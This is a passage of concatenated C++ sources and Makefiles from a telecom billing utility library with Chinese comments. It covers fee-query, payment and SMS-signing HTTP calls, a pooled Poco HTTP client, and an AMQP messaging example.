#ifndef SOINVOKEQRYFEE_H_ #define SOINVOKEQRYFEE_H_ /*余额查询接口 * */ #include <SdpInvoke/InvokeBase.h> namespace BusinessUtil { class InvokeQryFee:public InvokeBase { public: InvokeQryFee(HTTPClientSession *pHttpSession , std::string strService); ~InvokeQryFee(); void SetProvinceCode(std::string code); void SetRegionCode(std::string code); void SetCityCode(std::string code); void SetQryId(std::string id); void SetRecvTag(int tag); long GetLeaveRealFee(); long GetCurRealFee(); long GetLMNoPayBillFee(); private: int MakePackage(); int ParsePackage(); std::string m_strProvinceCode; std::string m_strRegionCode; std::string m_strCityCode; std::string m_strQryId; int m_iRecvTag; ///1: 按电话号码查询 long m_lLeaveRealFee; ///实时结余 long m_lCruRealFee; ///当月话费 long m_lLMNoPayBillFee; ///上月未出帐话费 }; } #endif /* SOINVOKEQRYFEE_H_ */ <file_sep>/include/HttpClient.h /* * HttpClient.h * * Created on: 2017年12月6日 * Author: cplusplus */ #ifndef INCLUDE_HTTPCLIENT_H_ #define INCLUDE_HTTPCLIENT_H_ #include <string> #include <vector> #include "Poco/Net/HTTPRequest.h" #include "Poco/Net/HTTPResponse.h" #include "Poco/Net/HTTPClientSession.h" #include "Poco/StreamCopier.h" #include "Poco/Net/HTTPRequestHandlerFactory.h" #include "Poco/Net/HTTPRequest.h" #include "Poco/Net/HTTPServerRequest.h" #include "Poco/Net/HTTPResponse.h" #include "Poco/Net/HTTPServerResponse.h" #include <mutex> // std::mutex, std::unique_lock #include <condition_variable> // std::condition_variable namespace BusinessUtil{ enum class EunmHttpMethod { _post, _get }; class HttpClient { public: ~HttpClient(); /** * */ static HttpClient* Create(std::string server , int port , int maxCnt = 4 , int timeout = 30); /** * psot请求 */ std::string SendPostJsonRequest(std::string uri , std::string data); /** * get 请求 */ std::string SendGetJsonRequest(std::string uri , std::string data); void SetTimeout(int timeout); /** *获取session */ Poco::Net::HTTPClientSession* GetHttpClientSession(); /** * 释放session */ void ReleaseClientSession(Poco::Net::HTTPClientSession* sess); private: HttpClient(); HttpClient(std::string server , int port,int maxCnt,int timeout); HttpClient(const HttpClient &hc ) = delete; HttpClient& operator = (const HttpClient &hc) = delete; HttpClient(HttpClient &&hc ) = delete; HttpClient& operator = (HttpClient &&hc) = delete; void Initilize(); Poco::Net::HTTPClientSession* RefreshSession(Poco::Net::HTTPClientSession *session); /** *发送请求 */ std::string SendRequest(std::string uri , std::string data , EunmHttpMethod method); unsigned int m_uCnt; //最大连接数 std::vector<Poco::Net::HTTPClientSession*> m_pool; std::mutex m_mutex; std::condition_variable m_condition; std::string m_server; int m_port; int m_timeout; }; } #endif /* INCLUDE_HTTPCLIENT_H_ */ <file_sep>/src/TaskChain.cpp /* * TaskChain.cpp * * Created on: 2018年3月16日 * Author: cplusplus */ #include "TaskChain.h" namespace BusinessUtil{ //// TaskChain::TaskChain() :m_size(0), m_pos(0) { } void TaskChain::AddTask(std::shared_ptr<ITask> task) { ++m_size; m_task.push_back(task); } void TaskChain::ChainProcess(void *obj , TaskChain *taskChain) { if(m_pos >= m_size) return ; if(taskChain == nullptr) taskChain = this; m_task.at(m_pos++)->TaskProcess(obj , taskChain); } ITask::ITask() { } ITask::~ITask() { } void ITask::TaskProcess(void *obj , TaskChain *taskChain) { DoTask(obj); taskChain->ChainProcess(obj , taskChain); } } <file_sep>/include/SdpInvoke/JsonFieldDefine.h #ifndef _CRM_DEFINE_H_ #define _CRM_DEFINE_H_ //////////////////指令字符串////////// #define OPER_CODE "operCode" #define STAFF_ID "staffId" #define DEPART_ID "departId" #define PROVINCE_CODE "provinceCode" #define REGION_CODE "regionCode" #define CITY_CODE "cityCode" #define ROUTE_PROVINCE_CODE "routeProvinceCode" #define ROUTE_REGION_CODE "routeRegionCode" #define ROUTE_CITY_CODE "routeCityCode" #define IN_NET_CODE "inNetMode" #define TRADE_ID "tradeId" #define PARAMETERS "parameters" #define TRADE "trade" #define ORDER_TYPE "orderType" #define SUBSCRIBE_ID "subscribeId" #define TRADE_TYPE_CODE "tradeTypeCode" #define IN_MODE_CODE "inModeCode" #define SUBSCRIBE_STATE "subscribeState" #define PACKAGE_ID "packageId" #define BRAND_CODE "brandCode" #define USER_ID "userId" #define CUST_ID "custId" #define ACCT_ID "acctId" #define NET_TYPE_CODE "netTypeCode" #define SERIAL_NUMBER "serialNumber" #define CUST_NAME "custName" #define FINISH_DATE "finishDate" #define ACCEPT_STAFF_ID "acceptStaffId" #define ACCEPT_DEPART_ID "acceptDepartId" #define ACCEPT_PROVINCE_CODE "acceptProvinceCode" #define ACCEPT_REGION_CODE "acceptReginCode" #define ACCEPT_CITY_CODE "acceptCityCode" #define ACCEPT_DATE "acceptDate" #define TERM_IP "termIp" #define PROVINCE_CODE "provinceCode" #define CITY_CODE "cityCode" #define HASE_FEE "haseFee" #define FEE_SUM "feeSum" #define ACTOR_NAME "actorName" #define ACTOR_CERT_TYPE_ID "actorCerttypeid" #define ACTOR_PHONE "actorPhone" #define ACTOR_CERT_NUM "actorCertnum" #define ACCEPT_DATE "acceptDate" #define CONTACT "contact" #define CONTACT_PHONE "contactPhone" #define CONTACT_ADDRESS "contactAddress" #define REMARK "remark" #define PROVIDER_CODE "providerCode" #define RESP_CODE "respCode" #define RESP_DESC "respDesc" #define RECV_TAG "recvTag" #define RESULT "result" #define OWE_FEE_INFO "oweFeeInfo" #define LEAVE_REAL_FEE "leaverealFee" #define REAL_FEE "realFee" #define OWE_FEE "oweFee" #define TOTAL_OWE_FEE "totalOwe" #define PHONE_NUMBER "phoneNumber" #define MSG "msg" #define RECV_FEE "recvFee" #define PAYMENT_ID "paymentId" #define PAYFEE_MODE_CODE "payFeeModeCode" #define CHANNEL_ID "channelId" #define PAYORDER_NUMBER "payOrderNumber" #define PAYCHARGE_ID "payChargeId" #define BANK_CODE "bankCode" #define CARD_TYPE "cardType" #define POST_NUMBER "postNumber" #define CHARGE_ID "chargeId" #define LAST_MONTH_BILL_FEE "lastMonthBil" #define LAST_BILL_PAY_TAG "payTag" #define ACTION_CODE "actionCode" #define TRADE_TYPE_CODE "tradeTypeCode" #define PREPAY_TAG "prepayTag" #define TRADE_ITEM "tradeItem" #define UPDATE_STAFF_ID "updateStaffId" #define UPDATE_DEPART_ID "updateDepartId" #define UPDATE_DATE "updateDate" #define ITEM_ID "itemId" #define ATTR_CODE "attrCode" #define ATTR_VALUE "attrValue" #endif <file_sep>/include/SdpInvoke/InvokeOnwaySheet.h /* * soInvokeOnwaySheet.h * * Created on: 2015年6月17日 * Author: chengl */ #ifndef SOINVOKEONWAYSHEET_H_ #define SOINVOKEONWAYSHEET_H_ /* * 查询停开机在途工单接口 * */ #include <SdpInvoke/InvokeBase.h> #include "JsonReqNode.h" #include "JsonRespNode.h" namespace BusinessUtil { class InvokeOnwaySheet:public InvokeBase { public: InvokeOnwaySheet(HTTPClientSession *pHttpSession , std::string strService); ~InvokeOnwaySheet(); void SetProvinceCode(std::string code); void SetRegionCode(std::string code); void SetCityCode(std::string code); void SetSerialNumber(std::string no); void SetTradeTypeCode(std::string code); std::vector<_ON_WAY_SHEET>& GetOnwaySheet(); private: int MakePackage(); int ParsePackage(); std::string m_strProvinceCode; std::string m_strRegionCode; std::string m_strCityCode; std::string m_strSerialNumber; std::string m_strTradeTypeCode; std::vector<_ON_WAY_SHEET> m_vecOnwaySheet; }; } #endif /* SOINVOKEONWAYSHEET_H_ */ <file_sep>/example/AmqpClient/main.cpp #include <time.h> #include <thread> #include <AmqpClient.h> #include <MyTcpHandler.h> const std::string message = "{\"ACCT_ID\":320150105718968,\"UESR_ID\":120150105199770,\"ADD_ID\":2018030775147003,\"TRADE_TYPE\":8001,\"THIS_FEE\":1000,\"IN_TYPE\":\"1\"}"; void Producer() { BusinessUtil::AmqpClient amqpClient("bill", "BILL", "192.168.88.143" , 5672); //MyTcpHandler myHandler(&amqpClient); BusinessUtil::ITcpHandler myHandler(&amqpClient); amqpClient.EventLoop(&myHandler); std::shared_ptr<AMQP::TcpChannel> channel = amqpClient.CreateChannel(); channel->onError([](const char *message){ std::cout<<"onError:"<<message<<std::endl; }); channel->onReady([](){ std::cout<<"channel onReady"<<std::endl; }); // use the channel object to call the AMQP method you like channel->declareExchange("my-exchange", AMQP::direct); channel->declareQueue("my-queue"); channel->bindQueue("my-exchange", "my-queue", "my-routing-key").onSuccess([channel](){ std::cout<<"bindQueue success!" <<std::endl; for(int i = 0 ; i < 1000000 ; ++i) { channel->publish("my-exchange", "my-routing-key", message); } }); while(!amqpClient.IsStop()) { sleep(10); } } void Consumer() { int total = 0; BusinessUtil::AmqpClient amqpClient("bill", "BILL", "192.168.88.143" , 5672); //MyTcpHandler myHandler(&amqpClient); BusinessUtil::ITcpHandler myHandler(&amqpClient); amqpClient.EventLoop(&myHandler); std::shared_ptr<AMQP::TcpChannel> channel = amqpClient.CreateChannel(); channel->onError([](const char *message){ std::cout<<"onError:"<<message<<std::endl; }); channel->onReady([&total,&channel](){ std::cout<<"channel onReady"<<std::endl; channel->consume("my-queue").onReceived([&total,channel](const AMQP::Message &message, uint64_t deliveryTag, bool redelivered){ total +=1; std::cout<<std::string(message.body(),message.bodySize())<<std::endl; channel->ack(deliveryTag); }); }); while(!amqpClient.IsStop()) { sleep(10); std::cout<<"Consumer consume total:"<<total<<std::endl; } } void ProducerAndConsumer() { int consumeTotal = 0; BusinessUtil::AmqpClient amqpClient("bill", "BILL", "192.168.88.143" , 5672 ); MyTcpHandler myHandler(&amqpClient); //BusinessUtil::ITcpHandler myHandler(&amqpClient); amqpClient.EventLoop(&myHandler); std::shared_ptr<AMQP::TcpChannel> channel = amqpClient.CreateChannel(); channel->onError([](const char *message){ std::cout<<"onError:"<<message<<std::endl; }); channel->onReady([](){ std::cout<<"channel onReady"<<std::endl; }); // use the channel object to call the AMQP method you like channel->declareExchange("my-exchange", AMQP::direct); channel->declareQueue("my-queue").onSuccess([&consumeTotal,channel](){ channel->consume("my-queue").onReceived([&consumeTotal,channel](const AMQP::Message &message, uint64_t deliveryTag, bool redelivered){ consumeTotal +=1; std::cout<<std::string(message.body(),message.bodySize())<<std::endl; channel->ack(deliveryTag); }); }); channel->bindQueue("my-exchange", "my-queue", "my-routing-key").onSuccess([channel](){ std::cout<<"bindQueue success!" <<std::endl; for(int i = 0 ; i < 2000000 ; ++i) { channel->publish("my-exchange", "my-routing-key", message); } }); while(!amqpClient.IsStop()) { sleep(10); std::cout<<"ProducerAndConsumer consume:"<<consumeTotal<<std::endl; } } void PullMessage() { int total = 0; BusinessUtil::AmqpClient amqpClient("bill", "BILL", "192.168.88.143" , 5672); //MyTcpHandler myHandler(&amqpClient); BusinessUtil::ITcpHandler myHandler(&amqpClient); amqpClient.EventLoop(&myHandler); std::shared_ptr<AMQP::TcpChannel> channel = amqpClient.CreateChannel(); channel->onError([](const char *message){ std::cout<<"onError:"<<message<<std::endl; }); channel->onReady([&total,&channel](){ std::cout<<"channel onReady"<<std::endl; }); while(!amqpClient.IsStop()) { sleep(1); channel->get("my-queue").onSuccess([](const AMQP::Message &message, uint64_t deliveryTag, bool redelivered){ std::cout<<"get message:"<<std::string(message.body(),message.bodySize())<<std::endl; }).onEmpty([](){ std::cout<<"queue is null"<<std::endl; }); } } int main(int argc , char* argv[]) { // std::thread t1(ProducerAndConsumer); // std::thread t2(Producer); // std::thread t3(Consumer); std::thread t4(PullMessage); // t1.join(); // t2.join(); // t3.join(); t4.join(); return 0; } <file_sep>/include/SdpInvoke/JsonRespNode.h #ifndef _CRM_JSON_INTERFACE_DATA_H_ #define _CRM_JSON_INTERFACE_DATA_H_ #include <SdpInvoke/JsonFieldDefine.h> #include <string> #include <vector> #include "cJSON.h" namespace BusinessUtil { ////////////应答包 class RespNodeBase { public: RespNodeBase(); virtual ~RespNodeBase() = 0; }; //// class RespNodeRoot:public RespNodeBase { public: RespNodeRoot(); ~RespNodeRoot(); RespNodeRoot(const RespNodeRoot &rnr); RespNodeRoot& operator = (const RespNodeRoot &rnr); void SetRespCode(std::string code); void SetRespDesc(std::string desc); std::string GetRespCode(); std::string GetRespUtf8Desc(); std::string GetRespGb18030Desc(); static int JsonParseRespRootNode(std::string strResp , RespNodeRoot &rnr); private: std::string m_strRespCode; std::string m_strRespDesc; }; typedef struct OweFeeInfo { long lAcctID; long lRealFee;///当月实时话费(实时账单) long lOweFee; /// 往月欠费 long lTotalOweFee; ///总欠费金额 long lLeaveRealFee; /// 账户余额 char strLMPayTag[4]; ///上月账单出帐表示; 0-未出帐,1-已出帐 long lLMBillFee; ///上月账单费用 char strPrepayTag[1+1] ; ///用户付费类型 }_OWE_FEE_INFO; class RespNodeQryOweFeeNode { public: RespNodeQryOweFeeNode(); ~RespNodeQryOweFeeNode(); RespNodeQryOweFeeNode(const RespNodeQryOweFeeNode &resp); RespNodeQryOweFeeNode& operator = (const RespNodeQryOweFeeNode &resp); void SetRespNodeRoot(RespNodeRoot &rnr); /* * 实时结余: * 后付费: 不包含当月账单费用及上月未出帐费用 * 准预用户: 包含单月账单及上月未出帐费用 */ long GetLeaveRealFee(long &lCurRealFee, long &lLMNoPayBillFee); void PushBack(_OWE_FEE_INFO &ofi); std::string GetRespCode(); std::string GetRespUtf8Desc(); static int JsonParseRespQryOweFeeNode(std::string strResp , RespNodeQryOweFeeNode &respQOF); private: RespNodeRoot m_respRoot; std::vector<_OWE_FEE_INFO> m_vecFee; }; //////////用户充值 class RespNodePayFeeNode:public RespNodeRoot { public: RespNodePayFeeNode(); ~RespNodePayFeeNode(); RespNodePayFeeNode(const RespNodePayFeeNode &resp); RespNodePayFeeNode& operator = (const RespNodePayFeeNode &resp); void SetChargeID(std::string id); std::string GetChargeID(); static int JsonParseRespPayFeeNode(std::string strResp, RespNodePayFeeNode &respPF); private: std::string m_strChargeID; }; //////////在途工单 typedef struct { char strTradeID[20]; char strTradeTypeCode[6]; }_ON_WAY_SHEET; class RespNodeOnWaySheeNode:public RespNodeRoot { public: RespNodeOnWaySheeNode(); ~RespNodeOnWaySheeNode(); void PushOnWaySheet(_ON_WAY_SHEET &sheet); const std::vector<_ON_WAY_SHEET> &GetOnWaySheet(); static int JsonParseOnWaySheetNode(std::string strResp, RespNodeOnWaySheeNode &respSheet); private: RespNodeOnWaySheeNode(const RespNodeOnWaySheeNode &resp); RespNodeOnWaySheeNode& operator = (const RespNodeOnWaySheeNode &resp); std::vector<_ON_WAY_SHEET> m_vecOnWaySheet; }; } #endif <file_sep>/src/SdpInvoke/InvokeQryFee.cpp /* * soInvokeQryFee.cpp * * Created on: 2015年6月17日 * Author: chengl */ #include <SdpInvoke/InvokeQryFee.h> #include "JsonUtil.h" #include "SdpInvoke/JsonReqNode.h" #include "SdpInvoke/JsonRespNode.h" namespace BusinessUtil { InvokeQryFee::InvokeQryFee(HTTPClientSession *pHttpSession , std::string strService) :InvokeBase(pHttpSession,strService), m_iRecvTag(0), m_lLeaveRealFee(0), m_lCruRealFee(0), m_lLMNoPayBillFee(0) { } InvokeQryFee::~InvokeQryFee() { } void InvokeQryFee::SetProvinceCode(std::string code) { m_strProvinceCode = code; } void InvokeQryFee::SetRegionCode(std::string code) { m_strRegionCode = code; } void InvokeQryFee::SetCityCode(std::string code) { m_strCityCode = code; } void InvokeQryFee::SetQryId(std::string id) { m_strQryId = id; } void InvokeQryFee::SetRecvTag(int tag) { m_iRecvTag = tag; } long InvokeQryFee::GetLeaveRealFee() { return m_lLeaveRealFee; } long InvokeQryFee::GetCurRealFee() { return m_lCruRealFee; } long InvokeQryFee::GetLMNoPayBillFee() { return m_lLMNoPayBillFee; } int InvokeQryFee::MakePackage() { NodeRoot nr; NodeQryOweFee nqof; int iRetCode = SUCCESS; cJSON *root = NULL; nr.SetOperCode("QryOweFee"); nr.SetStaffID("XK001"); nr.SetDepartID("XK"); nr.SetProvinceCode(m_strProvinceCode); nr.SetRegionCode(m_strRegionCode); nr.SetCityCode(m_strCityCode.empty()?"ZZZZ":m_strCityCode); nr.SetRouteProvinceCode(m_strProvinceCode); nr.SetRouteRegionCode(m_strRegionCode); nr.SetRouteCityCode(m_strCityCode.empty()?"ZZZZ":m_strCityCode); nr.SetInNetMode("X"); nqof.SetRecvTag(m_iRecvTag); nqof.SetQryID(m_strQryId); do { root = NodeRoot::JsonCreateRoot(nr); if(NULL == root) { m_strErrInfo = "JsonCreateRoot failed."; iRetCode = FAIL; break; } if(FAIL == NodeQryOweFee::JsonAddQryOweFeeNode(root , nqof) ) { m_strErrInfo = "JsonAddTradeNode failed."; iRetCode = FAIL; break; } m_strSendInfo.clear(); if( (m_strSendInfo = CommonUtils::JsonUtil::JsonToString(root) ).empty()) { m_strErrInfo = "JsonString empty."; iRetCode = FAIL; break; } }while(false); if(root) CommonUtils::JsonUtil::JsonDelete(root); return SUCCESS; } int InvokeQryFee::ParsePackage() { RespNodeQryOweFeeNode resp; if(FAIL == RespNodeQryOweFeeNode::JsonParseRespQryOweFeeNode(m_strReceiveInfo , resp)) { m_strErrInfo = "JsonParseRespQryOweFeeNode fail."; return FAIL; } if(resp.GetRespCode().compare(1,4,"0000") != SUCCESS) { m_strErrInfo = "余额查询接口返回失败. desc: " + resp.GetRespUtf8Desc(); return FAIL; } m_lLeaveRealFee = 0; m_lCruRealFee = 0; m_lLMNoPayBillFee = 0; m_lLeaveRealFee = resp.GetLeaveRealFee(m_lCruRealFee,m_lLMNoPayBillFee); return SUCCESS; } } <file_sep>/include/BusiExceptions.h /* * BusiExceptions.h * * Created on: 2017年9月30日 * Author: cplusplus */ #ifndef INCLUDE_BUSIEXCEPTIONS_H_ #define INCLUDE_BUSIEXCEPTIONS_H_ #include "Exception.h" namespace BusinessUtil{ /** * 定义系统级原始的异常 */ DECLARE_EXCEPTION(BusiException, CommonUtils::Exception); } #endif /* INCLUDE_BUSIEXCEPTIONS_H_ */ <file_sep>/src/SdpInvoke/InvokeSoipSendMsg.cpp /* * soInvokeSoipSendMsg.cpp * * Created on: 2015年8月21日 * Author: chengl */ #include <SdpInvoke/InvokeSoipSendMsg.h> #include "StringUtil.h" #include "DateUtil.h" #include "Md5Util.h" #include "NumberUtil.h" #define EXTERNALCHANNEL "1" namespace BusinessUtil { InvokeSoipSendMsg::InvokeSoipSendMsg(HTTPClientSession *pHttpSession , std::string strService,std::string strBusid,std::string strSecretKey,bool externChannel) :InvokeBase(pHttpSession,strService), m_strSecretKey(strSecretKey), m_iSignType(1), m_strBusinessId(strBusid), m_bIsReportFlag(false), m_strSmsType("内部通知"), m_strSmsSendService(strService), m_externChannel(externChannel) { } InvokeSoipSendMsg::~InvokeSoipSendMsg() { } void InvokeSoipSendMsg::SetBusinessId(std::string id) { m_strBusinessId = id; } void InvokeSoipSendMsg::SetMacCode(std::string code) { m_strMac = code; } void InvokeSoipSendMsg::SetOrderSeq(std::string code) { m_strOrderSeq = code; } void InvokeSoipSendMsg::SetReqDate(std::string no) { m_strReqDate = no; } void InvokeSoipSendMsg::SetSignType(int type) { m_iSignType = type; } void InvokeSoipSendMsg::SetSubBusinessId(std::string id) { m_strSubBusinessId = id; } void InvokeSoipSendMsg::SetExternChannel(bool externChannel) { m_externChannel = externChannel; } void InvokeSoipSendMsg::InsertSoipSmsInfo(const _SOIP_SMS_INFO &ssi) { m_vecSoipSms.push_back(ssi); } void InvokeSoipSendMsg::CleanSoipSmsInfo() { m_vecSoipSms.clear(); } int InvokeSoipSendMsg::GetReturnCode() { return m_stSoipSmsRet.iReturnCode; } std::string InvokeSoipSendMsg::GetErrMsg() { return m_stSoipSmsRet.strErrMsg; } std::string InvokeSoipSendMsg::GetMsgId() { return m_stSoipSmsRet.strMsgId; } std::string InvokeSoipSendMsg::GetOrderId() { return m_stSoipSmsRet.strOrderSeq; } bool InvokeSoipSendMsg::IsExternChannel() const { return m_externChannel; } int InvokeSoipSendMsg::MakePackage() { m_strSendInfo.clear(); m_strMac.clear(); if(SUCCESS != ConstructBussPackage()) return FAIL; ////do md5 signature if(SUCCESS != GenMd5Key(m_strMac) ) return FAIL; ////encode request uri ConstructRequestUri(); return SUCCESS; } int InvokeSoipSendMsg::ParsePackage() { cJSON *jRoot=NULL; cJSON *json = NULL; char *out=NULL; char strTemp[8092] = {0}; int iRetValue = SUCCESS; CommonUtils::StringUtil::trim(m_strReceiveInfo); do { jRoot=cJSON_Parse(m_strReceiveInfo.c_str()); if (!jRoot) { m_strErrInfo = std::string("Error before:11") + cJSON_GetErrorPtr(); iRetValue = FAIL; break; } ///RETURNCODE json = cJSON_GetObjectItem(jRoot ,"RETURNCODE"); if(NULL == json) { m_strErrInfo = std::string("Error before:22") + cJSON_GetErrorPtr(); iRetValue = FAIL; break; } out = cJSON_PrintUnformatted(json); m_stSoipSmsRet.iReturnCode = atoi(out); free(out); out = NULL; if(SUCCESS == m_stSoipSmsRet.iReturnCode) { ///MSGID json = cJSON_GetObjectItem(jRoot ,"MSGID"); if(NULL != json) { out = cJSON_PrintUnformatted(json); memset(strTemp , 0 ,sizeof(strTemp)); strncpy(strTemp,out+1 , strlen(out)-2); m_stSoipSmsRet.strMsgId.append(strTemp); free(out); out = NULL; } ///ORDERSEQ json = cJSON_GetObjectItem(jRoot ,"ORDERSEQ"); if(NULL != json) { out = cJSON_PrintUnformatted(json); memset(strTemp , 0 ,sizeof(strTemp)); strncpy(strTemp,out+1 , strlen(out)-2); m_stSoipSmsRet.strOrderSeq.append(strTemp); free(out); out = NULL; } } else { ///errmsg json = cJSON_GetObjectItem(jRoot ,"ERRORMSG"); if(NULL != json && (out = cJSON_PrintUnformatted(json)) != NULL) { strncpy(strTemp,out+1 , strlen(out)-2); m_stSoipSmsRet.strErrMsg.append(strTemp); free(out); out = NULL; } m_strErrInfo = "soip短信接口返回失败.desc:" + m_stSoipSmsRet.strErrMsg; iRetValue = FAIL; break; } }while(false); if(jRoot) { cJSON_Delete(jRoot); } return iRetValue; } int InvokeSoipSendMsg::GenMd5Key( std::string &strMd5) { char strTemp[128] = {0}; char strSysdate[14+1] = {0}; CommonUtils::DateUtil::GetSysdateUsec(strTemp); m_strOrderSeq.append(strTemp); m_strReqDate.append(strncpy(strSysdate , strTemp , 14)); m_strSubBusinessId.append("XK"); std::string strBuff(m_strSecretKey); strBuff.append("BUSINESSID"); strBuff.append(m_strBusinessId); // if(m_externChannel) // { // strBuff.append("EXTERNALCHANNEL"); // strBuff.append(EXTERNALCHANNEL); // } strBuff.append("ORDERSEQ"); strBuff.append(m_strOrderSeq); strBuff.append("REQDATE"); strBuff.append(m_strReqDate); ///don't include this field, otherwise valid mac fail // strBuff.append("SIGNTYPE"); // strBuff.append(Number2String(m_iSignType).c_str()); strBuff.append("SUBBUSINESSID"); strBuff.append(m_strSubBusinessId); strBuff.append(m_strSendInfo); strBuff.append(m_strSecretKey); if(SUCCESS != CommonUtils::Md5Util::Md5StringSummary(strBuff , strMd5) ) return FAIL; return SUCCESS; } /*@action:用于生成业务参数json包 * */ int InvokeSoipSendMsg::ConstructBussPackage() { cJSON *root = NULL; char *out = NULL; root=cJSON_CreateObject(); if(NULL == root) { m_strErrInfo = " root cJSON_CreateObject fail."; return FAIL; } cJSON_AddStringToObject(root, "REQREASON", "notification"); cJSON_AddStringToObject(root, "BUSINESSTYPE", "sharingmobile"); cJSON_AddStringToObject(root, "SMSTYPE", m_strSmsType.c_str()); cJSON_AddNumberToObject(root, "ISREPORT", m_bIsReportFlag == true ? 1 : 0 ); ///添加具体短信信息 cJSON *dataArr = cJSON_CreateArray(); if(NULL == dataArr) { m_strErrInfo = " dataArr cJSON_CreateArray fail."; return FAIL; } for(std::vector<_SOIP_SMS_INFO>::iterator it = m_vecSoipSms.begin(); it != m_vecSoipSms.end(); ++it) { cJSON *data = cJSON_CreateObject(); if(NULL == data) { m_strErrInfo = " data cJSON_CreateObject fail."; return FAIL; } ///soip suggest priority value from 0 to 3 cJSON_AddStringToObject(data , "VALIDTIME" , it->strValidTime.c_str()); cJSON_AddStringToObject(data , "DESTTERMID" , it->strDestTermId.c_str()); cJSON_AddStringToObject(data , "MSGCONTENT" , it->strMsgContent.c_str()); cJSON_AddStringToObject(data , "RESERVE" , it->strReserve.c_str()); cJSON_AddStringToObject(data , "SEND_TIME_START" , it->strSendBegTime.c_str()); cJSON_AddStringToObject(data , "SEND_TIME_END" , it->strSendEndTime.c_str()); cJSON_AddItemToArray(dataArr , data); } cJSON_AddItemToObject(root , "DATA" , dataArr); out = cJSON_PrintUnformatted(root); m_strSendInfo.append(out); if(out) { free(out); } if(root) { cJSON_Delete(root); root = NULL; } return SUCCESS; } /*@action: 用于构建请求uri * */ void InvokeSoipSendMsg::ConstructRequestUri() { m_strService = m_strSmsSendService; m_strService.append("?"); m_strService.append("BUSINESSID="+m_strBusinessId); m_strService.append("&"); m_strService.append("SUBBUSINESSID="+m_strSubBusinessId); m_strService.append("&"); m_strService.append("ORDERSEQ="+m_strOrderSeq); m_strService.append("&"); m_strService.append("REQDATE="+m_strReqDate); m_strService.append("&"); m_strService.append("SIGNTYPE="+CommonUtils::NumberUtil::Number2String(m_iSignType)); if(m_externChannel) { m_strService.append("&EXTERNALCHANNEL=" + std::string(EXTERNALCHANNEL)); } m_strService.append("&"); m_strService.append("MAC="+m_strMac); } } <file_sep>/src/Makefile #Makefile# #模块类型(必选):P主程序 S静态连接库 D动态链接库 U_TYPE =S #模块名称(必填) MODULE =BusinessUtil #目标文件集合(必填) U_OBJS =BusinessUtil.cpp \ SdpInvoke/InvokeBase.cpp \ SdpInvoke/InvokeCreditTrigger.cpp \ SdpInvoke/InvokeOnwaySheet.cpp \ SdpInvoke/InvokePayment.cpp \ SdpInvoke/InvokeQryFee.cpp \ SdpInvoke/InvokeSendMsg.cpp \ SdpInvoke/InvokeSoipSendMsg.cpp \ SdpInvoke/InvokeTrade.cpp \ SdpInvoke/JsonReqNode.cpp \ SdpInvoke/JsonRespNode.cpp \ HttpClient.cpp\ AmqpClient.cpp\ TaskChain.cpp\ #链接库集合 U_LIB = -lCommonUtil -lamqpcpp #头文件路径 U_INC = -I$(PUBLICINCLUDE)/CommonUtil #调试 U_DEBUG = -D_DEBUG #编译参数 C++11版本参数 -std=c++0x U_CFLAGS = -std=c++0x #链接参数 U_LFLAGS = #引用mk模板 include ${make_pathv2}/mk.pub <file_sep>/include/SdpInvoke/InvokeCreditTrigger.h /* * InvokeCreditTrigger.h * * Created on: 2016年7月7日 * Author: clzdl */ #ifndef INCLUDE_INVOKECREDITTRIGGER_H_ #define INCLUDE_INVOKECREDITTRIGGER_H_ #include <SdpInvoke/InvokeBase.h> namespace BusinessUtil { //调用触发信控接口 class InvokeCreditTrigger:public InvokeBase { public: InvokeCreditTrigger(HTTPClientSession *pHttpSession , std::string strService); ~InvokeCreditTrigger(); void SetAcctId(long v); void SetUserId(long v); void SetAddId(long v); void SetTradeTypeCode(int v); void SetThisFee(long v); void SetInType(std::string v); private: int MakePackage(); int ParsePackage(); long m_lAcctId; long m_lUserId; long m_lAddId; int m_iTradeType; long m_lThisFee; std::string m_strInType; }; } #endif /* INCLUDE_INVOKECREDITTRIGGER_H_ */ <file_sep>/include/TaskChain.h /* * TaskChain.h * * Created on: 2018年3月16日 * Author: cplusplus */ #ifndef INCLUDE_TASKCHAIN_H_ #define INCLUDE_TASKCHAIN_H_ #include <vector> #include <memory> namespace BusinessUtil{ class ITask; class TaskChain { public: TaskChain(); void AddTask(std::shared_ptr<ITask> task); void ChainProcess(void *obj , TaskChain *taskChain = nullptr); private: TaskChain(const TaskChain &tc) = delete; TaskChain& operator = (const TaskChain &tc) = delete; TaskChain(TaskChain &&tc) = delete; TaskChain& operator = (TaskChain &&tc) = delete; std::vector< std::shared_ptr<ITask> > m_task; int m_size; ///任务数 int m_pos; ///当前执行的任务偏移量 }; class ITask { public: ITask(); virtual ~ITask(); virtual void DoTask(void *obj) = 0; void TaskProcess(void *obj , TaskChain *taskChain); }; } #endif /* INCLUDE_TASKCHAIN_H_ */ <file_sep>/example/AmqpClient/Makefile #Makefile# #模块类型(必选):P主程序 S静态连接库 D动态链接库 U_TYPE = P #模块名称(必填) MODULE = AmqpClientTest #目标文件集合(必填) U_OBJS = main.cpp #链接库集合 U_LIB = -lPocoFoundation -lPocoNet -lPocoUtil -lssh2 \ -lcrypto -lamqpcpp -lBusinessUtil -lCommonUtil -lclntsh #头文件路径 U_INC =-I./. -I$(PUBLICINCLUDE)/CommonUtil -I$(PUBLICINCLUDE)/BusinessUtil #调试 U_DEBUG = -D_DEBUG #编译参数 C++11版本参数 -std=c++0x U_CFLAGS = -std=c++0x #链接参数 U_LFLAGS = #引用mk模板 include ${make_pathv2}/mk.pub <file_sep>/src/SdpInvoke/InvokePayment.cpp /* * soInvokePayment.cpp * * Created on: 2015年6月16日 * Author: chengl */ #include <SdpInvoke/InvokePayment.h> #include "NumberUtil.h" #include "StringUtil.h" #include "JsonUtil.h" #include "SdpInvoke/JsonReqNode.h" #include "SdpInvoke/JsonRespNode.h" namespace BusinessUtil { InvokePayment::InvokePayment(HTTPClientSession *pHttpSession , std::string strService) :InvokeBase(pHttpSession,strService) { ///20150729 m_lActivityID = 0; m_lUserID = 0; m_lRecvFee = 0; } InvokePayment::~InvokePayment() { } void InvokePayment::SetProvinceCode(std::string code) { m_strProvinceCode = code; } void InvokePayment::SetRegionCode(std::string code) { m_strRegionCode = code; } void InvokePayment::SetCityCode(std::string code) { m_strCityCode = code; } void InvokePayment::SetUserID(long id) { m_lUserID = id; } void InvokePayment::SetSerialNumber(std::string no) { m_strSerialNumber = no; } void InvokePayment::SetRecvFee(long fee) { m_lRecvFee = fee; } void InvokePayment::SetActivityID(long id) { m_lActivityID = id; } void InvokePayment::SetPaymentID(std::string id) { m_strPaymentID = id; } void 